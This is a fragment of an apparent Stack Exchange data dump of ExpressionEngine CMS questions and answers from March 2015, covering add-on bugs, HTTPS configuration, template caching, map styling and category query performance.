  <row Id="30350" PostTypeId="2" ParentId="30290" CreationDate="2015-03-04T00:22:40.280" Score="0" Body="&lt;p&gt;You are likely not using the latest version of User: a separate conversation mentioned that you were using &lt;code&gt;3.4.5&lt;/code&gt;, and the latest as of this writing is &lt;code&gt;3.5.2&lt;/code&gt;. Please update User to the latest version.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-03-04T00:22:40.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30351" PostTypeId="1" AcceptedAnswerId="30352" CreationDate="2015-03-04T06:37:16.637" Score="0" ViewCount="52" Body="&lt;p&gt;We created a separate site in MSM a while back and never copied over channels, fields or categories. But now we want to do this without deleting and recreating the site. How do I do this? &lt;/p&gt;&#xA;" OwnerUserId="1734" LastActivityDate="2015-03-04T06:37:16.637" Title="how can I transfer entries between MSM sites if the site's already been created?" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30352" PostTypeId="2" ParentId="30351" CreationDate="2015-03-04T06:37:16.637" Score="0" Body="&lt;p&gt;It turns out there's not really an easy way. What I did was in the second MSM site: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Duplicate channels&lt;/li&gt;&#xA;&lt;li&gt;Duplicate field groups, fields etc. &lt;/li&gt;&#xA;&lt;li&gt;Duplicate categories &lt;/li&gt;&#xA;&lt;li&gt;Duplicate file upload prefs. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With 1-3 above we used the EXACT same url title. Then we wrote this script to copy all the entries over, retaining their category assignments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps someone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/jaseclamp/2dcda64e8912f7361d94&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/jaseclamp/2dcda64e8912f7361d94&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1734" LastActivityDate="2015-03-04T06:37:16.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30353" PostTypeId="1" CreationDate="2015-03-04T08:42:34.647" Score="1" ViewCount="61" Body="&lt;p&gt;In this post answer was that membergroup has to have access to all statuses merged to channel: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5622/custom-members-channel-entries-defaulting-to-closed-status&quot;&gt;Custom Member&amp;#39;s Channel Entries Defaulting To &amp;quot;Closed&amp;quot; Status&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have same issue that when editing entry via channel:form, status goes to closed. So only way to avoid this type of situation is to make custom status group and to allow access to all statuses, so entry should stay open/what-ever status but not closed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the logic behind this? I want to deny access to closed and open, but having access to foo and bar, this is mission impossible because entry goes closed every time someone edit the entry when having the channel attached to default status group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feeling nuts to create new status groups just because of this, if the case is really that member has to have access to all statues or otherwise entry goes closed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a work-around for this, so that channel could have the choice to deny access to open and closed without a worry about entry getting closed everytime it is edited?&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-03-04T14:57:35.867" Title="Ideas why status is set to closed when entry edited via channel:form?" Tags="|channel-entries|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30354" PostTypeId="1" AcceptedAnswerId="30399" CreationDate="2015-03-04T09:33:16.120" Score="0" ViewCount="291" Body="&lt;p&gt;Recently upgrade a site to 2.9.2 and Freeform 4.2.1 PHP 5.3.28 and all is going well until we spotted this oddity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Notifications templates setup for the customer and admin emails use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{attachments} &amp;lt;a href=&quot;{fileurl}&quot;&amp;gt;{filename}&amp;lt;/a&amp;gt; {/attachments}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This used to link back to the file but now for some reason it's encoding the URL&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*CURRENT*&#xA;http%3A%2F%2Fwww.example.com.au%2Fmedia%2Fpublic_submissions%2FCIM%2Fmyfilename.jpg&#xA;&#xA;*OLD*&#xA;http://www.example.com.au/media/public_submissions/CIM/myfilename.jpg &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've no idea what could be causing this, I tried a simple &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; tag and it did spit out the filename but no full URL so I cant even test where the fault is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seriously, I'm looking for a needle in a haystack here any help greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-03-05T20:16:45.557" Title="Freeform encoding attachment URL" Tags="|solspace-freeform|html-entities|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30355" PostTypeId="1" CreationDate="2015-03-04T10:24:51.860" Score="1" ViewCount="157" Body="&lt;p&gt;I simplified the form what Im using with Charge atm. to point out with what I have issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:charge:form&#xA;                form_class=&quot;form-horizontal&quot;&#xA;                form_id=&quot;charge-form&quot;&#xA;                return=&quot;client/thankyou&quot;&#xA;                return_error=&quot;client/errors&quot;&#xA;                plan_amount=&quot;69&quot;&#xA;                plan_currency=&quot;eur&quot;&#xA;                plan_length=&quot;12&quot;&#xA;                on_success=&quot;premium_membership&quot;}&#xA;&#xA;                       &amp;lt;label for=&quot;card_name&quot; class=&quot;col-sm-2 control-label&quot;&amp;gt;Name on the Card&amp;lt;/label&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;col-sm-4&quot;&amp;gt;&#xA;                          &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;card_name&quot; value&quot;&quot; data-stripe=&quot;name&quot; /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt; &#xA;&#xA;{/exp:charge:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is on the &quot;receipt&quot; page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:charge:info hash=&quot;{segment_3}&quot;}&#xA;&#xA; &amp;lt;strong&amp;gt;Name on the Card:&amp;lt;/strong&amp;gt; {card_name}&#xA;&#xA;{/exp:charge:info} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it does not show the name put to the field. Stripe does take and save that data to proper place on their end, but on my site, its blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at the charge documentation that clearly says card_name is available, even its optional.&#xA;&lt;a href=&quot;http://squarebit.co.uk/software/expressionengine/charge/docs/tags#tag-info&quot; rel=&quot;nofollow&quot;&gt;http://squarebit.co.uk/software/expressionengine/charge/docs/tags#tag-info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When doing business to business payments, I need the name of the client to be included to receipt to make it legal for added to accounting on the client end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I use just customer_name, I do not get the right data saved to Stripe end. And I cant use data-stripe for customer_name because it is not the same as the name of whos paying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have might done wrong, or does the card_name has to be inside of specific tags or so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other fields like card number, and card used is coming out as normal, and the amount paid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, i've heard that there is thousands of ppl who uses Charge, so this has to be something that has easy solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.9.2 running on PHP 5.6.2 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2016-06-08T13:17:35.410" Title="Charge wont show Card Holders name on success page, ideas why?" Tags="|add-on|forms|charge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30357" PostTypeId="2" ParentId="30310" CreationDate="2015-03-04T12:24:49.933" Score="1" Body="&lt;p&gt;Disclaimer : I'm the developer of &lt;a href=&quot;http://squarebit.co.uk/software/expressionengine/charge&quot; rel=&quot;nofollow&quot;&gt;Charge&lt;/a&gt; so am biased on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt; - this is all quite simple with &lt;a href=&quot;http://squarebit.co.uk/software/expressionengine/charge&quot; rel=&quot;nofollow&quot;&gt;Charge&lt;/a&gt;. You'd simply use the standard front-end entry form as usual and set the entry status to a pending state, then use the built in &lt;a href=&quot;http://squarebit.co.uk/software/expressionengine/charge/docs/actions&quot; rel=&quot;nofollow&quot;&gt;entry actions&lt;/a&gt; in Charge to update the status to live after a successful payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can all be used with recurring payments, and if you need to later down grade or alter the status of the entry you can use the &lt;a href=&quot;http://squarebit.co.uk/software/expressionengine/charge/docs/hooks&quot; rel=&quot;nofollow&quot;&gt;provided hooks&lt;/a&gt; to trigger any extra logic you might want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be fair - this same setup is likely possible using other third party addons but I can't speak for the exact setup on those.&lt;/p&gt;&#xA;" OwnerUserId="1111" LastActivityDate="2015-03-04T12:24:49.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30358" PostTypeId="1" AcceptedAnswerId="30363" CreationDate="2015-03-04T13:39:42.513" Score="2" ViewCount="81" Body="&lt;p&gt;I have a client in a situation where they need to provide physical CSV files on-disk for various and sundry reasons. The CSV would need to be populated with data fetched from the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I can totally prepare a custom template that would result in a CSV-formatted response via HTTP, but how do I save that response to disk? (EDIT: Is there perhaps some way to use a caching method of some sort to write the output to disk?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case it helps clarify things, the situation is a client who uses a fulfillment center for hosting and managing their non-EE shop. They now want to move to Expresso Store for the shop, but still use the fulfillment center to manage things. The fulfillment center wants to continue working with their own system of order management, but they can set up their system to fetch via FTP nightly updates in the form of CSV files to update their system with the latest orders from the Expresso Store.&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2015-03-04T15:14:30.070" Title="Save template output to disk?" Tags="|export|csv|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30359" PostTypeId="2" ParentId="30358" CreationDate="2015-03-04T13:48:13.967" Score="1" Body="&lt;p&gt;Not sure exactly what your needs are but would &lt;a href=&quot;http://ee-garage.com/nsm-reports&quot; rel=&quot;nofollow&quot;&gt;NSM Reports&lt;/a&gt; solve your problems?&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2015-03-04T13:48:13.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30361" PostTypeId="1" AcceptedAnswerId="30365" CreationDate="2015-03-04T14:24:32.713" Score="0" ViewCount="243" Body="&lt;p&gt;What do i need to consider when using a ssl ceritifcate on my website. I have an sll set up on my server but at the moment i have the .hta file redirecting everyone to http://.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because if i visit the site over https:// there is a few things wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low Search doesnt work, &#xA;Free Form doesnt work,&#xA;Free members - basically asks if your sure you want to login as some things might not be secure.&#xA;Control panel has no styles or javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the general website loads and operates fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do i need to change some files to reflect https:// for everything to work properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-03-04T20:24:32.183" Title="https:// with expression engine" Tags="|solspace-freeform|low-search|expresso|low|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30362" PostTypeId="2" ParentId="30353" CreationDate="2015-03-04T14:57:35.867" Score="1" Body="&lt;p&gt;Are you including status input in your form? If not, try adding&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;status&quot; value=&quot;{status}&quot; /&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-03-04T14:57:35.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30363" PostTypeId="2" ParentId="30358" CreationDate="2015-03-04T15:14:30.070" Score="5" Body="&lt;p&gt;I'd recommend turning on &quot;Enable HTTP Authentication?&quot; for your template, so that you must use a username/password to access it, and then setting up a Cron job on your server to save to disk on a nightly basis:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 * * * curl http://username:password@yoursite.com/your/template &amp;gt; /var/www/csv/`date +\%Y\%m\%d\%H\%M\%S`.csv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2015-03-04T15:14:30.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30364" PostTypeId="2" ParentId="30355" CreationDate="2015-03-04T15:44:35.273" Score="0" Body="&lt;p&gt;I just got email from addon developer that card_name appears to have some sort of bug on the version of Charge im using. So if someone else might have had same issue, I just want to let you know.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2015-03-04T15:44:35.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30365" PostTypeId="2" ParentId="30361" CreationDate="2015-03-04T15:47:09.367" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Low Search doesnt work, Free Form doesnt work, Free members - basically asks if your sure you want to login as some things might not be secure.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These add-ons usually use what you have configured in your &quot;Admin &gt; General Configuration &gt; URL to the root directory of your site&quot;. You can also set/override the General Configuration settings using the /system/expressionengine/config/config.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If using your config.php file to make the changes, you could use these basic settings to possibly fix some or all of the issues you're experiencing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// check if https or http&#xA;$base_url = (!empty($_SERVER['HTTPS'])) ? 'https://' . $_SERVER['HTTP_HOST'] : 'http://' . $_SERVER['HTTP_HOST'];&#xA;&#xA;// set as constant&#xA;define('BASE_URL', $base_url . '/');&#xA;define('BASE_PATH'. $_SERVER['DOCUMENT_ROOT']);&#xA;&#xA;$config['site_url']                = BASE_URL;&#xA;$config['cp_url']                  = BASE_URL.'admin.php';&#xA;&#xA;$config['theme_folder_path']       = BASE_PATH.'themes';&#xA;$config['theme_folder_url']        = BASE_URL.'themes/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Control panel has no styles or javascript.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This would be due to the /themes/ folder path setting being invalid/incorrect. You can update it using the General Configuration or config.php file I mentioned above.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do i need to change some files to reflect https:// for everything to work properly?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you've configured your paths to be relative or based on the current URI, you shouldn't need to setup any special https redirect rules. However, I do recommend either forcing www or non-www for SEO and to prevent cross-domain errors. This would be done using your htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/4916222/htaccess-how-to-force-www-in-a-generic-way&quot;&gt;https://stackoverflow.com/questions/4916222/htaccess-how-to-force-www-in-a-generic-way&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="339" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-03-04T20:24:32.183" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30366" PostTypeId="1" AcceptedAnswerId="30368" CreationDate="2015-03-04T17:01:38.987" Score="1" ViewCount="169" Body="&lt;p&gt;I want to apply a &lt;a href=&quot;https://snazzymaps.com/&quot; rel=&quot;nofollow&quot;&gt;snazzymap&lt;/a&gt; to MX Google Maps. &lt;/p&gt;&#xA;" OwnerUserId="658" LastEditorUserId="658" LastEditDate="2015-03-04T17:10:32.710" LastActivityDate="2015-03-04T17:11:30.787" Title="Apply Snazzy maps to MX Google Maps" Tags="|mx-google-map|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30367" PostTypeId="1" AcceptedAnswerId="30370" CreationDate="2015-03-04T17:07:07.383" Score="5" ViewCount="177" Body="&lt;p&gt;I'm trying to figure out if there's a more performant way of getting entries grouped by category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, I'm using NSM Categories module. Right now, this costing me 263 queries and 5 seconds of load. If I remove my if statements (only there because we have different markup for the first entry of a category and also spit out an opening ul element), performance increases dramatically using 63 queries in 2 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest any improvements? With something so intensive, we'll be using CE Cache anyway but would like to improve even more before we get to that stage.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:nsm_categories:archive&#xA;            enable=&quot;entries&quot;&#xA;            category_channel_entry_limit=&quot;6&quot;&#xA;            category=&quot;3|6|5|1|7|2&quot;&#xA;        }&#xA;            &amp;lt;div class=&quot;category category--{category_url_title}&quot;&amp;gt;&#xA;                &amp;lt;h3 class=&quot;category__title&quot;&amp;gt;&amp;lt;a class=&quot;category__link&quot; href=&quot;/channel/{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;                {category_channel_entries}&#xA;                {if {category_channel_entry_count} == '1'}&#xA;                &amp;lt;div class=&quot;category__firstentry relative&quot; style=&#xA;                &quot;background-image: url(''); background-size: cover;&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;category__overlay absolute&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;a class=&quot;title relative&quot; href=&quot;&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;p class=&quot;author relative&quot;&amp;gt;by {exp:playa:children var_prefix=&quot;children&quot; entry_id=&quot;{entry_id}&quot; backspace=&quot;5&quot;}{children:title}&amp;lt;/a&amp;gt; and {/exp:playa:children}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;&#xA;                {if {category_channel_entry_count} == '2'}&#xA;                &amp;lt;ul class=&quot;category__entries&quot;&amp;gt;&#xA;                {/if}&#xA;                {if {category_channel_entry_count} &amp;gt; '1'}&#xA;                &amp;lt;li class=&quot;entry__single&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;/article/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                {/if}&#xA;&#xA;                {/category_channel_entries}&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/exp:nsm_categories:archive}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="146" LastEditorUserId="146" LastEditDate="2015-03-04T20:34:43.160" LastActivityDate="2015-03-05T10:34:32.490" Title="a less expensive way of grouping entries by category" Tags="|channel-entries|categories|stash|performance|caching|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30368" PostTypeId="2" ParentId="30366" CreationDate="2015-03-04T17:11:30.787" Score="2" Body="&lt;p&gt;If you're using Max's MX Google Map [1.5.3] for publish form maps and wish to apply a &lt;a href=&quot;https://snazzymaps.com/&quot; rel=&quot;nofollow&quot;&gt;snazzymap&lt;/a&gt; you can do so by adding the snazzymap styles on line 496 of system/third_party/mx_google_map/ft.mx_google_map.php. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the snazzymap you want to apply. View the source. Copy from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// How you would like to style the map. &#xA;// This is where you would paste any style found on Snazzy Maps.&#xA;    styles: ... ]}]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then paste it just after:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;    jQuery(&quot;#'.$randid.'_map&quot;).mxgoogleMaps({&#xA;    latitude: '.$data[&quot;latitude&quot;].',&#xA;    longitude: '.$data[&quot;longitude&quot;].',&#xA;    zoom:  '.$zoom.',&#xA;    markers: ['.$markers.'],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   [...]&#xA;   markers: ['.$markers.'],&#xA;&#xA;   // Snazzy maps hackery&#xA;   styles: [{&quot;featureType&quot;:&quot;landscape&quot;,&quot;stylers&quot;:[{&quot;saturation&quot;:-100},{&quot;lightness&quot;:65},{&quot;visibility&quot;:&quot;on&quot;}]},{&quot;featureType&quot;:&quot;poi&quot;,&quot;stylers&quot;:[{&quot;saturation&quot;:-100},{&quot;lightness&quot;:51},{&quot;visibility&quot;:&quot;simplified&quot;}]},{&quot;featureType&quot;:&quot;road.highway&quot;,&quot;stylers&quot;:[{&quot;saturation&quot;:-100},{&quot;visibility&quot;:&quot;simplified&quot;}]},{&quot;featureType&quot;:&quot;road.arterial&quot;,&quot;stylers&quot;:[{&quot;saturation&quot;:-100},{&quot;lightness&quot;:30},{&quot;visibility&quot;:&quot;on&quot;}]},{&quot;featureType&quot;:&quot;road.local&quot;,&quot;stylers&quot;:[{&quot;saturation&quot;:-100},{&quot;lightness&quot;:40},{&quot;visibility&quot;:&quot;on&quot;}]},{&quot;featureType&quot;:&quot;transit&quot;,&quot;stylers&quot;:[{&quot;saturation&quot;:-100},{&quot;visibility&quot;:&quot;simplified&quot;}]},{&quot;featureType&quot;:&quot;administrative.province&quot;,&quot;stylers&quot;:[{&quot;visibility&quot;:&quot;off&quot;}]},{&quot;featureType&quot;:&quot;water&quot;,&quot;elementType&quot;:&quot;labels&quot;,&quot;stylers&quot;:[{&quot;visibility&quot;:&quot;on&quot;},{&quot;lightness&quot;:-25},{&quot;saturation&quot;:-100}]},{&quot;featureType&quot;:&quot;water&quot;,&quot;elementType&quot;:&quot;geometry&quot;,&quot;stylers&quot;:[{&quot;hue&quot;:&quot;#ffff00&quot;},{&quot;lightness&quot;:-25},{&quot;saturation&quot;:-97}]}],&#xA;   // End Snazzy maps hackery&#xA;&#xA;   field_id : &quot;'.$randid.'&quot;&#xA;   [...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember to add a comma after the closing square bracket &lt;code&gt;]}],&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="658" LastActivityDate="2015-03-04T17:11:30.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30369" PostTypeId="1" CreationDate="2015-03-04T18:46:10.530" Score="1" ViewCount="97" Body="&lt;p&gt;I've got a complex site that was working until yesterday with no code changes in the last week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Branch Locator channel there are two specific entries which I am unable to make any changes, content, status, entry_date whatever even when logged in as super admin. On save there is no error and the publish page redirects as normal. However when viewing the edited entry none of the changes have been saved. This does not happen to any other entries or channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I thought it might be related to MX Title Control, but I disabled that extension and the error persisted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally when publishing a new entry, as a Super Admin, I get the following error.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An Error Was Encountered You are not authorized to access this page&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;THere are various text input fields, one dropdown field, 3 playa fields and a google maps for ExpressionEngine geo coder field. There are currently 32 entries in this channel with two of them being uneditable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just updated all addons to the latest version and error continues.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2015-03-04T19:17:41.497" LastActivityDate="2015-03-04T19:17:41.497" Title="Unable to Edit Specific Entries &amp; Publish Error as Super Admin" Tags="|control-panel|error|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30370" PostTypeId="2" ParentId="30367" CreationDate="2015-03-04T19:11:57.730" Score="3" Body="&lt;p&gt;So my experimentation here brought me to Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much more succinct now and gives me everything I need in just 66 queries before caching :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; channel=&quot;articles&quot;}&#xA;     {categories}&#xA;      {exp:stash:append_list name=&quot;news_{category_id}&quot;}&#xA;       {stash:item_title}{title} - {entry_date {gv_date_short}}{/stash:item_title}&#xA;      {/exp:stash:append_list}&#xA;     {/categories}&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;{exp:channel:category_archive channel=&quot;articles&quot; show=&quot;not 4|22|24&quot; style=&quot;linear&quot;}&#xA;  {categories}&#xA;    &amp;lt;h2&amp;gt;{category_name} - {category_id}&amp;lt;/h2&amp;gt;&#xA;    {exp:stash:get_list limit=&quot;6&quot; name=&quot;news_{category_id}&quot;}&#xA;    {if count == '1'}&#xA;    &amp;lt;h3&amp;gt;{item_title}&amp;lt;/h3&amp;gt;&#xA;    {/if}&#xA;    {if count == '2'}&#xA;      &amp;lt;ul class=&quot;list&quot;&amp;gt;&#xA;    {/if}&#xA;    {if count &amp;gt; '1'}&#xA;    &amp;lt;li&amp;gt;{item_title}&amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;    {if count == total_results}&#xA;      &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;    {/exp:stash:get_list}&#xA;    {/categories}&#xA;{/exp:channel:category_archive}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-03-04T19:11:57.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30371" PostTypeId="1" CreationDate="2015-03-04T19:22:29.393" Score="0" ViewCount="76" Body="&lt;p&gt;Site was out sourced and getting no response from developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add a new link to one of the navigation bars. &#xA;There are 2 top navigation bars on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main home page code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{html-open}&#xA;{html-head-open}&#xA;{exp:low_variables:single var=&quot;meta&quot;}&#xA;{exp:low_variables:single var=&quot;favicon&quot;}&#xA;{exp:low_variables:single var=&quot;css&quot;}&#xA;{exp:low_variables:single var=&quot;js&quot;}&#xA;{embed=&quot;partial/html-head-close&quot; is_home=&quot;true&quot;}&#xA;{exp:stash:get name=&quot;content&quot;}&#xA;{exp:low_variables:single var=&quot;html-close&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;code from Secondary navbar&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;navbar-secondary&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        {exp:structure:nav start_from=&quot;/&quot; max_depth=&quot;1&quot; css_class=&quot;list-inline list-unstyled&quot; current_class=&quot;active&quot; include=&quot;15|20|21&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I tried to add a 6 (page I need) to the Include and no go.&#xA;If I remove the any of the include numbers and view rendered template they drop off and I can add them back, but new item won't work. &#xA;any pointers in the right direction would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you &lt;/p&gt;&#xA;&#xA;&lt;p&gt;John&lt;/p&gt;&#xA;" OwnerUserId="6105" LastEditorUserId="22" LastEditDate="2015-03-04T20:15:54.653" LastActivityDate="2015-03-05T14:52:59.193" Title="New to Expression and have problems updating navagation bar" Tags="|templates|structure|navigation|links|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
